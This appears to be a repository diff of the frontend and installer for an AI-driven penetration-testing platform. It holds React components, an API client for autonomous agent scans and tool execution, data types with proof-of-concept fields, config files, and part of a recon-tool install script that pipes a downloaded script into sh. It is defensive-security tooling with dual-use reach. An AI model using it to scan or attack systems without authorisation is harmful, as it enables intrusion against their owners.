'bg-purple-500/20 text-purple-400'
}`}>
{task.category}
</span>
{task.estimated_tokens > 0 && (
<span className="text-xs text-dark-500 flex items-center gap-1">
<Zap className="w-3 h-3" />
~{task.estimated_tokens} tokens
</span>
)}
</div>
{task.tags?.length > 0 && (
<div className="flex gap-1 mt-2 flex-wrap">
{task.tags.slice(0, 5).map((tag) => (
<span key={tag} className="text-xs bg-dark-700 text-dark-300 px-2 py-0.5 rounded flex items-center gap-1">
<Tag className="w-3 h-3" />
{tag}
</span>
))}
{task.tags.length > 5 && (
<span className="text-xs text-dark-500">+{task.tags.length - 5} more</span>
)}
</div>
)}
</div>
<div className="flex items-center gap-2">
<Button
variant="ghost"
size="sm"
onClick={(e) => {
e.stopPropagation()
handleRunTask(task)
}}
>
<Play className="w-4 h-4" />
</Button>
{!task.is_preset && (
<Button
variant="ghost"
size="sm"
onClick={(e) => {
e.stopPropagation()
setDeleteConfirm(task.id)
}}
>
<Trash2 className="w-4 h-4 text-red-400" />
</Button>
)}
</div>
</div>
</div>
))
)}
</div>
{/* Task Details */}
<div>
<Card title="Task Details">
{selectedTask ? (
<div className="space-y-4">
<div>
<p className="text-sm text-dark-400">Name</p>
<p className="text-white font-medium">{selectedTask.name}</p>
</div>
<div>
<p className="text-sm text-dark-400">Description</p>
<p className="text-dark-300">{selectedTask.description}</p>
</div>
<div>
<p className="text-sm text-dark-400">Category</p>
<p className="text-white">{selectedTask.category}</p>
</div>
<div>
<p className="text-sm text-dark-400">Prompt</p>
<pre className="text-xs bg-dark-900 p-3 rounded-lg overflow-auto max-h-60 text-dark-300 whitespace-pre-wrap">
{selectedTask.prompt}
</pre>
</div>
{selectedTask.system_prompt && (
<div>
<p className="text-sm text-dark-400">System Prompt</p>
<pre className="text-xs bg-dark-900 p-3 rounded-lg overflow-auto max-h-40 text-dark-300 whitespace-pre-wrap">
{selectedTask.system_prompt}
</pre>
</div>
)}
{selectedTask.tools_required?.length > 0 && (
<div>
<p className="text-sm text-dark-400">Required Tools</p>
<div className="flex gap-1 flex-wrap mt-1">
{selectedTask.tools_required.map((tool) => (
<span key={tool} className="text-xs bg-dark-700 text-dark-300 px-2 py-1 rounded">
{tool}
</span>
))}
</div>
</div>
)}
<div className="pt-4 border-t border-dark-700">
<Button
className="w-full"
onClick={() => handleRunTask(selectedTask)}
>
<Play className="w-4 h-4 mr-2" />
Run This Task
</Button>
</div>
</div>
) : (
<p className="text-dark-400 text-center py-8">
Select a task to view details
</p>
)}
</Card>
</div>
</div>
{/* Create Task Modal */}
{showCreateModal && (
<div className="fixed inset-0 bg-black/50 flex items-center justify-center z-50 p-4">
<div className="bg-dark-800 rounded-xl border border-dark-700 w-full max-w-2xl max-h-[90vh] overflow-auto">
<div className="flex items-center justify-between p-4 border-b border-dark-700">
<h3 className="text-xl font-bold text-white">Create New Task</h3>
<Button variant="ghost" size="sm" onClick={() => setShowCreateModal(false)}>
<X className="w-5 h-5" />
</Button>
</div>
<div className="p-4 space-y-4">
<Input
label="Task Name"
placeholder="My Custom Task"
value={newTask.name}
onChange={(e) => setNewTask({ ...newTask, name: e.target.value })}
/>
<Input
label="Description"
placeholder="Brief description of what this task does"
value={newTask.description}
onChange={(e) => setNewTask({ ...newTask, description: e.target.value })}
/>
<div>
<label className="block text-sm font-medium text-dark-300 mb-2">Category</label>
<select
value={newTask.category}
onChange={(e) => setNewTask({ ...newTask, category: e.target.value })}
className="w-full px-4 py-2 bg-dark-900 border border-dark-700 rounded-lg text-white focus:border-primary-500 focus:outline-none"
>
<option value="custom">Custom</option>
<option value="recon">Reconnaissance</option>
<option value="vulnerability">Vulnerability</option>
<option value="full_auto">Full Auto</option>
<option value="reporting">Reporting</option>
</select>
</div>
<Textarea
label="Prompt"
placeholder="Enter the prompt for the AI agent..."
rows={8}
value={newTask.prompt}
onChange={(e) => setNewTask({ ...newTask, prompt: e.target.value })}
/>
<Textarea
label="System Prompt (Optional)"
placeholder="Enter a system prompt to guide the AI's behavior..."
rows={4}
value={newTask.system_prompt}
onChange={(e) => setNewTask({ ...newTask, system_prompt: e.target.value })}
/>
<Input
label="Tags (comma separated)"
placeholder="pentest, api, auth, custom"
value={newTask.tags}
onChange={(e) => setNewTask({ ...newTask, tags: e.target.value })}
/>
</div>
<div className="flex justify-end gap-3 p-4 border-t border-dark-700">
<Button variant="secondary" onClick={() => setShowCreateModal(false)}>
Cancel
</Button>
<Button
onClick={handleCreateTask}
isLoading={creating}
disabled={!newTask.name.trim() || !newTask.prompt.trim()}
>
<Save className="w-4 h-4 mr-2" />
Create Task
</Button>
</div>
</div>
</div>
)}
{/* Delete Confirmation Modal */}
{deleteConfirm && (
<div className="fixed inset-0 bg-black/50 flex items-center justify-center z-50 p-4">
<div className="bg-dark-800 rounded-xl border border-dark-700 p-6 max-w-md">
<h3 className="text-xl font-bold text-white mb-2">Delete Task?</h3>
<p className="text-dark-400 mb-6">
Are you sure you want to delete this task? This action cannot be undone.
</p>
<div className="flex justify-end gap-3">
<Button variant="secondary" onClick={() => setDeleteConfirm(null)}>
Cancel
</Button>
<Button variant="danger" onClick={() => handleDeleteTask(deleteConfirm)}>
<Trash2 className="w-4 h-4 mr-2" />
Delete
</Button>
</div>
</div>
</div>
)}
</div>
)
}
+347
View File
@@ -0,0 +1,347 @@
import axios from 'axios'
import type {
Scan, Vulnerability, Prompt, PromptPreset, Report, DashboardStats,
AgentTask, AgentRequest, AgentResponse, AgentStatus, AgentLog, AgentMode
} from '../types'
const api = axios.create({
baseURL: '/api/v1',
headers: {
'Content-Type': 'application/json',
},
})
// Scans API
export const scansApi = {
list: async (page = 1, perPage = 10, status?: string) => {
const params = new URLSearchParams({ page: String(page), per_page: String(perPage) })
if (status) params.append('status', status)
const response = await api.get(`/scans?${params}`)
return response.data
},
get: async (scanId: string): Promise<Scan> => {
const response = await api.get(`/scans/${scanId}`)
return response.data
},
create: async (data: {
name?: string
targets: string[]
scan_type?: string
recon_enabled?: boolean
custom_prompt?: string
prompt_id?: string
}): Promise<Scan> => {
const response = await api.post('/scans', data)
return response.data
},
start: async (scanId: string) => {
const response = await api.post(`/scans/${scanId}/start`)
return response.data
},
stop: async (scanId: string) => {
const response = await api.post(`/scans/${scanId}/stop`)
return response.data
},
delete: async (scanId: string) => {
const response = await api.delete(`/scans/${scanId}`)
return response.data
},
getEndpoints: async (scanId: string, page = 1, perPage = 50) => {
const response = await api.get(`/scans/${scanId}/endpoints?page=${page}&per_page=${perPage}`)
return response.data
},
getVulnerabilities: async (scanId: string, severity?: string, page = 1, perPage = 50) => {
const params = new URLSearchParams({ page: String(page), per_page: String(perPage) })
if (severity) params.append('severity', severity)
const response = await api.get(`/scans/${scanId}/vulnerabilities?${params}`)
return response.data
},
}
// Targets API
export const targetsApi = {
validate: async (url: string) => {
const response = await api.post('/targets/validate', { url })
return response.data
},
validateBulk: async (urls: string[]) => {
const response = await api.post('/targets/validate/bulk', { urls })
return response.data
},
upload: async (file: File) => {
const formData = new FormData()
formData.append('file', file)
const response = await api.post('/targets/upload', formData, {
headers: { 'Content-Type': 'multipart/form-data' },
})
return response.data
},
}
// Prompts API
export const promptsApi = {
getPresets: async (): Promise<PromptPreset[]> => {
const response = await api.get('/prompts/presets')
return response.data
},
getPreset: async (presetId: string) => {
const response = await api.get(`/prompts/presets/${presetId}`)
return response.data
},
parse: async (content: string) => {
const response = await api.post('/prompts/parse', { content })
return response.data
},
list: async (category?: string): Promise<Prompt[]> => {
const params = category ? `?category=${category}` : ''
const response = await api.get(`/prompts${params}`)
return response.data
},
create: async (data: { name: string; description?: string; content: string; category?: string }): Promise<Prompt> => {
const response = await api.post('/prompts', data)
return response.data
},
upload: async (file: File) => {
const formData = new FormData()
formData.append('file', file)
const response = await api.post('/prompts/upload', formData, {
headers: { 'Content-Type': 'multipart/form-data' },
})
return response.data
},
}
// Reports API
export const reportsApi = {
list: async (scanId?: string): Promise<{ reports: Report[]; total: number }> => {
const params = scanId ? `?scan_id=${scanId}` : ''
const response = await api.get(`/reports${params}`)
return response.data
},
get: async (reportId: string): Promise<Report> => {
const response = await api.get(`/reports/${reportId}`)
return response.data
},
generate: async (data: {
scan_id: string
format?: string
title?: string
include_executive_summary?: boolean
include_poc?: boolean
include_remediation?: boolean
}): Promise<Report> => {
const response = await api.post('/reports', data)
return response.data
},
getViewUrl: (reportId: string) => `/api/v1/reports/${reportId}/view`,
getDownloadUrl: (reportId: string, format: string) => `/api/v1/reports/${reportId}/download/${format}`,
delete: async (reportId: string) => {
const response = await api.delete(`/reports/${reportId}`)
return response.data
},
}
// Dashboard API
export const dashboardApi = {
getStats: async (): Promise<DashboardStats> => {
const response = await api.get('/dashboard/stats')
return response.data
},
getRecent: async (limit = 10) => {
const response = await api.get(`/dashboard/recent?limit=${limit}`)
return response.data
},
getFindings: async (limit = 20, severity?: string) => {
const params = new URLSearchParams({ limit: String(limit) })
if (severity) params.append('severity', severity)
const response = await api.get(`/dashboard/findings?${params}`)
return response.data
},
getVulnerabilityTypes: async () => {
const response = await api.get('/dashboard/vulnerability-types')
return response.data
},
}
// Vulnerabilities API
export const vulnerabilitiesApi = {
getTypes: async () => {
const response = await api.get('/vulnerabilities/types')
return response.data
},
get: async (vulnId: string): Promise<Vulnerability> => {
const response = await api.get(`/vulnerabilities/${vulnId}`)
return response.data
},
}
// Agent API (Autonomous AI Agent like PentAGI)
export const agentApi = {
// Run the autonomous agent
run: async (request: AgentRequest): Promise<AgentResponse> => {
const response = await api.post('/agent/run', request)
return response.data
},
// Get agent status and results
getStatus: async (agentId: string): Promise<AgentStatus> => {
const response = await api.get(`/agent/status/${agentId}`)
return response.data
},
// Get agent logs
getLogs: async (agentId: string, limit = 100): Promise<{ agent_id: string; total_logs: number; logs: AgentLog[] }> => {
const response = await api.get(`/agent/logs/${agentId}?limit=${limit}`)
return response.data
},
// Get findings with details
getFindings: async (agentId: string) => {
const response = await api.get(`/agent/findings/${agentId}`)
return response.data
},
// Delete agent results
delete: async (agentId: string) => {
const response = await api.delete(`/agent/${agentId}`)
return response.data
},
// Stop a running agent
stop: async (agentId: string) => {
const response = await api.post(`/agent/stop/${agentId}`)
return response.data
},
// Send custom prompt to agent
sendPrompt: async (agentId: string, prompt: string) => {
const response = await api.post(`/agent/prompt/${agentId}`, { prompt })
return response.data
},
// Quick synchronous run (for small targets)
quickRun: async (target: string, mode: AgentMode = 'full_auto') => {
const response = await api.post(`/agent/quick?target=${encodeURIComponent(target)}&mode=${mode}`)
return response.data
},
// Task Library
tasks: {
list: async (category?: string): Promise<AgentTask[]> => {
const params = category ? `?category=${category}` : ''
const response = await api.get(`/agent/tasks${params}`)
return response.data
},
get: async (taskId: string): Promise<AgentTask> => {
const response = await api.get(`/agent/tasks/${taskId}`)
return response.data
},
create: async (task: {
name: string
description: string
category?: string
prompt: string
system_prompt?: string
tags?: string[]
}): Promise<{ message: string; task_id: string }> => {
const response = await api.post('/agent/tasks', task)
return response.data
},
delete: async (taskId: string) => {
const response = await api.delete(`/agent/tasks/${taskId}`)
return response.data
},
},
// Real-time Task API
realtime: {
createSession: async (target: string, name?: string) => {
const response = await api.post('/agent/realtime/session', { target, name })
return response.data
},
sendMessage: async (sessionId: string, message: string) => {
const response = await api.post(`/agent/realtime/${sessionId}/message`, { message })
return response.data
},
getSession: async (sessionId: string) => {
const response = await api.get(`/agent/realtime/${sessionId}`)
return response.data
},
getReport: async (sessionId: string) => {
const response = await api.get(`/agent/realtime/${sessionId}/report`)
return response.data
},
deleteSession: async (sessionId: string) => {
const response = await api.delete(`/agent/realtime/${sessionId}`)
return response.data
},
listSessions: async () => {
const response = await api.get('/agent/realtime/sessions/list')
return response.data
},
getLlmStatus: async () => {
const response = await api.get('/agent/realtime/llm-status')
return response.data
},
getReportHtml: async (sessionId: string) => {
const response = await api.get(`/agent/realtime/${sessionId}/report?format=html`, {
responseType: 'text'
})
return response.data
},
getToolsList: async () => {
const response = await api.get('/agent/realtime/tools/list')
return response.data
},
getToolsStatus: async () => {
const response = await api.get('/agent/realtime/tools/status')
return response.data
},
executeTool: async (sessionId: string, tool: string, options?: Record<string, any>, timeout?: number) => {
const response = await api.post(`/agent/realtime/${sessionId}/execute-tool`, {
tool,
options,
timeout: timeout || 300
})
return response.data
},
},
}
export default api
+116
View File
@@ -0,0 +1,116 @@
import type { WSMessage } from '../types'
type MessageHandler = (message: WSMessage) => void
class WebSocketService {
private ws: WebSocket | null = null
private handlers: Map<string, Set<MessageHandler>> = new Map()
private reconnectAttempts = 0
private maxReconnectAttempts = 5
private reconnectDelay = 1000
private scanId: string | null = null
connect(scanId: string): void {
if (this.ws?.readyState === WebSocket.OPEN && this.scanId === scanId) {
return
}
this.disconnect()
this.scanId = scanId
const protocol = window.location.protocol === 'https:' ? 'wss:' : 'ws:'
const wsUrl = `${protocol}//${window.location.host}/ws/scan/${scanId}`
try {
this.ws = new WebSocket(wsUrl)
this.ws.onopen = () => {
console.log('WebSocket connected')
this.reconnectAttempts = 0
}
this.ws.onmessage = (event) => {
try {
const message = JSON.parse(event.data) as WSMessage
this.notifyHandlers(message.type, message)
this.notifyHandlers('*', message) // Wildcard handlers
} catch (e) {
console.error('Failed to parse WebSocket message:', e)
}
}
this.ws.onclose = () => {
console.log('WebSocket disconnected')
this.attemptReconnect()
}
this.ws.onerror = (error) => {
console.error('WebSocket error:', error)
}
} catch (e) {
console.error('Failed to create WebSocket:', e)
}
}
disconnect(): void {
if (this.ws) {
this.ws.close()
this.ws = null
}
this.scanId = null
}
private attemptReconnect(): void {
if (this.reconnectAttempts >= this.maxReconnectAttempts || !this.scanId) {
return
}
this.reconnectAttempts++
const delay = this.reconnectDelay * Math.pow(2, this.reconnectAttempts - 1)
setTimeout(() => {
if (this.scanId) {
console.log(`Attempting reconnect (${this.reconnectAttempts}/${this.maxReconnectAttempts})...`)
this.connect(this.scanId)
}
}, delay)
}
subscribe(eventType: string, handler: MessageHandler): () => void {
if (!this.handlers.has(eventType)) {
this.handlers.set(eventType, new Set())
}
this.handlers.get(eventType)!.add(handler)
// Return unsubscribe function
return () => {
this.handlers.get(eventType)?.delete(handler)
}
}
private notifyHandlers(eventType: string, message: WSMessage): void {
const handlers = this.handlers.get(eventType)
if (handlers) {
handlers.forEach((handler) => {
try {
handler(message)
} catch (e) {
console.error('Handler error:', e)
}
})
}
}
send(data: unknown): void {
if (this.ws?.readyState === WebSocket.OPEN) {
this.ws.send(typeof data === 'string' ? data : JSON.stringify(data))
}
}
ping(): void {
this.send('ping')
}
}
export const wsService = new WebSocketService()
export default wsService
+178
View File
@@ -0,0 +1,178 @@
import { create } from 'zustand'
import { persist } from 'zustand/middleware'
import type { Scan, Vulnerability, Endpoint, DashboardStats } from '../types'
interface LogEntry {
level: string
message: string
time: string
}
interface ScanDataCache {
endpoints: Endpoint[]
vulnerabilities: Vulnerability[]
logs: LogEntry[]
}
interface ScanState {
currentScan: Scan | null
scans: Scan[]
endpoints: Endpoint[]
vulnerabilities: Vulnerability[]
logs: LogEntry[]
scanDataCache: Record<string, ScanDataCache>
isLoading: boolean
error: string | null
setCurrentScan: (scan: Scan | null) => void
setScans: (scans: Scan[]) => void
updateScan: (scanId: string, updates: Partial<Scan>) => void
addEndpoint: (endpoint: Endpoint) => void
addVulnerability: (vulnerability: Vulnerability) => void
setEndpoints: (endpoints: Endpoint[]) => void
setVulnerabilities: (vulnerabilities: Vulnerability[]) => void
addLog: (level: string, message: string) => void
setLogs: (logs: LogEntry[]) => void
setLoading: (loading: boolean) => void
setError: (error: string | null) => void
loadScanData: (scanId: string) => void
saveScanData: (scanId: string) => void
reset: () => void
resetCurrentScan: () => void
getVulnCounts: () => { critical: number; high: number; medium: number; low: number; info: number }
}
export const useScanStore = create<ScanState>()(
persist(
(set, get) => ({
currentScan: null,
scans: [],
endpoints: [],
vulnerabilities: [],
logs: [],
scanDataCache: {},
isLoading: false,
error: null,
setCurrentScan: (scan) => set({ currentScan: scan }),
setScans: (scans) => set({ scans }),
updateScan: (scanId, updates) =>
set((state) => ({
currentScan:
state.currentScan?.id === scanId
? { ...state.currentScan, ...updates }
: state.currentScan,
scans: state.scans.map((s) => (s.id === scanId ? { ...s, ...updates } : s)),
})),
addEndpoint: (endpoint) =>
set((state) => {
const exists = state.endpoints.some(e => e.id === endpoint.id || (e.url === endpoint.url && e.method === endpoint.method))
if (exists) return state
return { endpoints: [...state.endpoints, endpoint] }
}),
addVulnerability: (vulnerability) =>
set((state) => {
const exists = state.vulnerabilities.some(v => v.id === vulnerability.id)
if (exists) return state
return { vulnerabilities: [...state.vulnerabilities, vulnerability] }
}),
setEndpoints: (endpoints) => set({ endpoints }),
setVulnerabilities: (vulnerabilities) => set({ vulnerabilities }),
addLog: (level, message) =>
set((state) => ({
logs: [...state.logs, { level, message, time: new Date().toISOString() }].slice(-200)
})),
setLogs: (logs) => set({ logs }),
setLoading: (isLoading) => set({ isLoading }),
setError: (error) => set({ error }),
loadScanData: (scanId) => {
const state = get()
const cached = state.scanDataCache[scanId]
if (cached) {
set({
endpoints: cached.endpoints,
vulnerabilities: cached.vulnerabilities,
logs: cached.logs
})
}
},
saveScanData: (scanId) => {
const state = get()
set({
scanDataCache: {
...state.scanDataCache,
[scanId]: {
endpoints: state.endpoints,
vulnerabilities: state.vulnerabilities,
logs: state.logs
}
}
})
},
reset: () =>
set({
currentScan: null,
scans: [],
endpoints: [],
vulnerabilities: [],
logs: [],
scanDataCache: {},
isLoading: false,
error: null,
}),
resetCurrentScan: () =>
set({
endpoints: [],
vulnerabilities: [],
logs: [],
}),
getVulnCounts: () => {
const vulns = get().vulnerabilities
return {
critical: vulns.filter(v => v.severity === 'critical').length,
high: vulns.filter(v => v.severity === 'high').length,
medium: vulns.filter(v => v.severity === 'medium').length,
low: vulns.filter(v => v.severity === 'low').length,
info: vulns.filter(v => v.severity === 'info').length,
}
}
}),
{
name: 'neurosploit-scan-store',
partialize: (state) => ({
scanDataCache: state.scanDataCache,
scans: state.scans
})
}
)
)
interface DashboardState {
stats: DashboardStats | null
recentScans: Scan[]
recentVulnerabilities: Vulnerability[]
isLoading: boolean
setStats: (stats: DashboardStats) => void
setRecentScans: (scans: Scan[]) => void
setRecentVulnerabilities: (vulns: Vulnerability[]) => void
setLoading: (loading: boolean) => void
}
export const useDashboardStore = create<DashboardState>((set) => ({
stats: null,
recentScans: [],
recentVulnerabilities: [],
isLoading: false,
setStats: (stats) => set({ stats }),
setRecentScans: (recentScans) => set({ recentScans }),
setRecentVulnerabilities: (recentVulnerabilities) => set({ recentVulnerabilities }),
setLoading: (isLoading) => set({ isLoading }),
}))
+63
View File
@@ -0,0 +1,63 @@
@tailwind base;
@tailwind components;
@tailwind utilities;
:root {
--bg-primary: #1a1a2e;
--bg-secondary: #16213e;
--bg-card: #0f3460;
--text-primary: #eee;
--text-secondary: #aaa;
--accent: #e94560;
--border: #333;
}
body {
margin: 0;
font-family: -apple-system, BlinkMacSystemFont, 'Segoe UI', Roboto, Oxygen, Ubuntu, sans-serif;
background-color: var(--bg-primary);
color: var(--text-primary);
min-height: 100vh;
}
* {
box-sizing: border-box;
}
/* Custom scrollbar */
::-webkit-scrollbar {
width: 8px;
height: 8px;
}
::-webkit-scrollbar-track {
background: var(--bg-secondary);
}
::-webkit-scrollbar-thumb {
background: var(--bg-card);
border-radius: 4px;
}
::-webkit-scrollbar-thumb:hover {
background: var(--accent);
}
/* Animations */
@keyframes fadeIn {
from { opacity: 0; transform: translateY(10px); }
to { opacity: 1; transform: translateY(0); }
}
@keyframes pulse {
0%, 100% { opacity: 1; }
50% { opacity: 0.5; }
}
.animate-fadeIn {
animation: fadeIn 0.3s ease-out;
}
.animate-pulse {
animation: pulse 2s infinite;
}
+291
View File
@@ -0,0 +1,291 @@
// Scan types
export interface Scan {
id: string
name: string | null
status: 'pending' | 'running' | 'completed' | 'failed' | 'stopped'
scan_type: 'quick' | 'full' | 'custom'
recon_enabled: boolean
progress: number
current_phase: string | null
config: Record<string, unknown>
custom_prompt: string | null
prompt_id: string | null
created_at: string
started_at: string | null
completed_at: string | null
error_message: string | null
total_endpoints: number
total_vulnerabilities: number
critical_count: number
high_count: number
medium_count: number
low_count: number
info_count: number
targets: Target[]
}
export interface Target {
id: string
scan_id: string
url: string
hostname: string | null
port: number | null
protocol: string | null
path: string | null
status: string
created_at: string
}
// Vulnerability types
export interface Vulnerability {
id: string
scan_id: string
title: string
vulnerability_type: string
severity: 'critical' | 'high' | 'medium' | 'low' | 'info'
cvss_score: number | null
cvss_vector: string | null
cwe_id: string | null
description: string | null
affected_endpoint: string | null
poc_request: string | null
poc_response: string | null
poc_payload: string | null
impact: string | null
remediation: string | null
references: string[]
ai_analysis: string | null
created_at: string
}
// Endpoint types
export interface Endpoint {
id: string
scan_id: string
url: string
method: string
path: string | null
parameters: unknown[]
response_status: number | null
content_type: string | null
technologies: string[]
discovered_at: string
}
// Prompt types
export interface Prompt {
id: string
name: string
description: string | null
content: string
is_preset: boolean
category: string | null
parsed_vulnerabilities: unknown[]
created_at: string
updated_at: string
}
export interface PromptPreset {
id: string
name: string
description: string
category: string
vulnerability_count: number
}
// Report types
export interface Report {
id: string
scan_id: string
title: string | null
format: 'html' | 'pdf' | 'json'
file_path: string | null
executive_summary: string | null
generated_at: string
}
// Dashboard types
export interface DashboardStats {
scans: {
total: number
running: number
completed: number
recent: number
}
vulnerabilities: {
total: number
critical: number
high: number
medium: number
low: number
info: number
recent: number
}
endpoints: {
total: number
}
}
// WebSocket message types
export interface WSMessage {
type: string
scan_id: string
[key: string]: unknown
}
// Agent types
export type AgentMode = 'full_auto' | 'recon_only' | 'prompt_only' | 'analyze_only'
export interface AgentTask {
id: string
name: string
description: string
category: string
prompt: string
system_prompt?: string
tools_required: string[]
tags: string[]
is_preset: boolean
estimated_tokens: number
created_at?: string
updated_at?: string
}
export interface AgentRequest {
target: string
mode: AgentMode
task_id?: string
prompt?: string
auth_type?: 'cookie' | 'bearer' | 'basic' | 'header'
auth_value?: string
custom_headers?: Record<string, string>
max_depth?: number
}
export interface AgentResponse {
agent_id: string
status: string
mode: string
message: string
}
export interface AgentStatus {
agent_id: string
scan_id?: string // Link to database scan
status: 'running' | 'completed' | 'error' | 'stopped'
mode: string
target: string
task?: string
progress: number
phase: string
started_at?: string
completed_at?: string
logs_count: number
findings_count: number
findings: AgentFinding[]
report?: AgentReport
error?: string
}
export interface AgentFinding {
id: string
title: string
severity: 'critical' | 'high' | 'medium' | 'low' | 'info'
vulnerability_type: string
cvss_score: number
cvss_vector: string
cwe_id: string
description: string
affected_endpoint: string
parameter?: string
payload?: string
evidence?: string
request?: string
response?: string
impact: string
poc_code: string
remediation: string
references: string[]
ai_verified: boolean
confidence?: string
}
export interface AgentReport {
summary: {
target: string
mode: string
duration: string
total_findings: number
severity_breakdown: Record<string, number>
}
findings: AgentFinding[]
recommendations: string[]
executive_summary?: string
}
export interface AgentLog {
level: string
message: string
time: string
source?: 'script' | 'llm' // Identifies if log is from script or LLM
}
// Real-time Task types
export interface RealtimeMessageMetadata {
error?: boolean
api_error?: boolean
tests_executed?: boolean
new_findings?: number
provider?: string
tool_execution?: boolean
tool?: string
}
export interface RealtimeMessage {
role: 'user' | 'assistant' | 'system' | 'tool'
content: string
timestamp: string
metadata?: RealtimeMessageMetadata
}
export interface RealtimeSession {
session_id: string
name: string
target: string
status: 'active' | 'completed' | 'error'
created_at: string
messages: RealtimeMessage[]
findings: RealtimeFinding[]
recon_data: {
endpoints: Array<{ url: string; status: number; path: string }>
parameters: Record<string, string[]>
technologies: string[]
headers: Record<string, string>
}
}
export interface RealtimeFinding {
title: string
severity: 'critical' | 'high' | 'medium' | 'low' | 'info'
vulnerability_type: string
description: string
affected_endpoint: string
remediation: string
evidence?: string
references?: string[]
cvss_score?: number
cvss_vector?: string
cwe_id?: string
owasp?: string
impact?: string
}
export interface RealtimeSessionSummary {
session_id: string
name: string
target: string
status: string
created_at: string
findings_count: number
messages_count: number
}
+39
View File
@@ -0,0 +1,39 @@
/** @type {import('tailwindcss').Config} */
export default {
content: [
"./index.html",
"./src/**/*.{js,ts,jsx,tsx}",
],
theme: {
extend: {
colors: {
primary: {
50: '#fef2f2',
100: '#fee2e2',
200: '#fecaca',
300: '#fca5a5',
400: '#f87171',
500: '#e94560',
600: '#dc2626',
700: '#b91c1c',
800: '#991b1b',
900: '#7f1d1d',
},
dark: {
50: '#f8fafc',
100: '#f1f5f9',
200: '#e2e8f0',
300: '#cbd5e1',
400: '#94a3b8',
500: '#64748b',
600: '#475569',
700: '#1a1a2e',
800: '#16213e',
900: '#0f3460',
950: '#0a0a15',
},
},
},
},
plugins: [],
}
+25
View File
@@ -0,0 +1,25 @@
{
"compilerOptions": {
"target": "ES2020",
"useDefineForClassFields": true,
"lib": ["ES2020", "DOM", "DOM.Iterable"],
"module": "ESNext",
"skipLibCheck": true,
"moduleResolution": "bundler",
"allowImportingTsExtensions": true,
"resolveJsonModule": true,
"isolatedModules": true,
"noEmit": true,
"jsx": "react-jsx",
"strict": true,
"noUnusedLocals": true,
"noUnusedParameters": true,
"noFallthroughCasesInSwitch": true,
"baseUrl": ".",
"paths": {
"@/*": ["src/*"]
}
},
"include": ["src"],
"references": [{ "path": "./tsconfig.node.json" }]
}
+10
View File
@@ -0,0 +1,10 @@
{
"compilerOptions": {
"composite": true,
"skipLibCheck": true,
"module": "ESNext",
"moduleResolution": "bundler",
"allowSyntheticDefaultImports": true
},
"include": ["vite.config.ts"]
}
+23
View File
@@ -0,0 +1,23 @@
import { defineConfig } from 'vite'
import react from '@vitejs/plugin-react'
export default defineConfig({
plugins: [react()],
server: {
port: 3000,
proxy: {
'/api': {
target: 'http://localhost:8000',
changeOrigin: true,
},
'/ws': {
target: 'ws://localhost:8000',
ws: true,
},
},
},
build: {
outDir: 'dist',
sourcemap: true,
},
})
+544
View File
@@ -0,0 +1,544 @@
#!/bin/bash
#
# NeuroSploit v2 - Reconnaissance Tools Installer
# Installs all required tools for advanced reconnaissance
#
set -e
# Colors
RED='\033[0;31m'
GREEN='\033[0;32m'
YELLOW='\033[1;33m'
BLUE='\033[0;34m'
CYAN='\033[0;36m'
NC='\033[0m' # No Color
# Banner
echo -e "${CYAN}"
echo "╔═══════════════════════════════════════════════════════════════╗"
echo "║ NEUROSPLOIT v2 - TOOLS INSTALLER ║"
echo "║ Advanced Reconnaissance Tools Setup ║"
echo "╚═══════════════════════════════════════════════════════════════╝"
echo -e "${NC}"
# Detect OS
detect_os() {
if [[ "$OSTYPE" == "darwin"* ]]; then
OS="macos"
PKG_MANAGER="brew"
elif [ -f /etc/debian_version ]; then
OS="debian"
PKG_MANAGER="apt"
elif [ -f /etc/redhat-release ]; then
OS="redhat"
PKG_MANAGER="dnf"
elif [ -f /etc/arch-release ]; then
OS="arch"
PKG_MANAGER="pacman"
else
OS="unknown"
PKG_MANAGER="unknown"
fi
echo -e "${BLUE}[*] Detected OS: ${OS} (Package Manager: ${PKG_MANAGER})${NC}"
}
# Check if command exists
command_exists() {
command -v "$1" &> /dev/null
}
# Print status
print_status() {
if command_exists "$1"; then
echo -e " ${GREEN}[✓]${NC} $1 - installed"
return 0
else
echo -e " ${RED}[✗]${NC} $1 - not found"
return 1
fi
}
# Install Go if not present
install_go() {
if command_exists go; then
echo -e "${GREEN}[✓] Go is already installed${NC}"
return 0
fi
echo -e "${YELLOW}[*] Installing Go...${NC}"
if [ "$OS" == "macos" ]; then
brew install go
elif [ "$OS" == "debian" ]; then
sudo apt update && sudo apt install -y golang-go
elif [ "$OS" == "redhat" ]; then
sudo dnf install -y golang
elif [ "$OS" == "arch" ]; then
sudo pacman -S --noconfirm go
else
# Manual installation
GO_VERSION="1.21.5"
wget "https://go.dev/dl/go${GO_VERSION}.linux-amd64.tar.gz"
sudo rm -rf /usr/local/go
sudo tar -C /usr/local -xzf "go${GO_VERSION}.linux-amd64.tar.gz"
rm "go${GO_VERSION}.linux-amd64.tar.gz"
export PATH=$PATH:/usr/local/go/bin
echo 'export PATH=$PATH:/usr/local/go/bin' >> ~/.bashrc
echo 'export PATH=$PATH:$(go env GOPATH)/bin' >> ~/.bashrc
fi
# Set GOPATH
export GOPATH=$HOME/go
export PATH=$PATH:$GOPATH/bin
}
# Install Rust if not present
install_rust() {
if command_exists cargo; then
echo -e "${GREEN}[✓] Rust is already installed${NC}"
return 0
fi
echo -e "${YELLOW}[*] Installing Rust...${NC}"
curl --proto '=https' --tlsv1.2 -sSf https://sh.rustup.rs | sh -s -- -y
source "$HOME/.cargo/env"
}
# Install Python packages
install_python_packages() {
echo -e "${BLUE}[*] Installing Python packages...${NC}"
pip3 install --upgrade pip 2>/dev/null || pip install --upgrade pip
# Core packages
pip3 install requests dnspython urllib3 2>/dev/null || pip install requests dnspython urllib3
# Security tools
pip3 install wafw00f 2>/dev/null || echo -e "${YELLOW} [!] wafw00f installation failed, try: pip install wafw00f${NC}"
pip3 install paramspider 2>/dev/null || echo -e "${YELLOW} [!] paramspider installation failed${NC}"
}
# Install tool via Go
install_go_tool() {
local tool_name=$1
local repo=$2
if command_exists "$tool_name"; then
echo -e " ${GREEN}[✓]${NC} $tool_name - already installed"
return 0
fi
echo -e " ${YELLOW}[~]${NC} Installing $tool_name..."
go install "$repo@latest" 2>/dev/null
if command_exists "$tool_name"; then
echo -e " ${GREEN}[✓]${NC} $tool_name - installed successfully"
else
echo -e " ${RED}[✗]${NC} $tool_name - installation failed"
fi
}
# Install tool via Cargo (Rust)
install_cargo_tool() {
local tool_name=$1
local crate_name=${2:-$tool_name}
if command_exists "$tool_name"; then
echo -e " ${GREEN}[✓]${NC} $tool_name - already installed"
return 0
fi
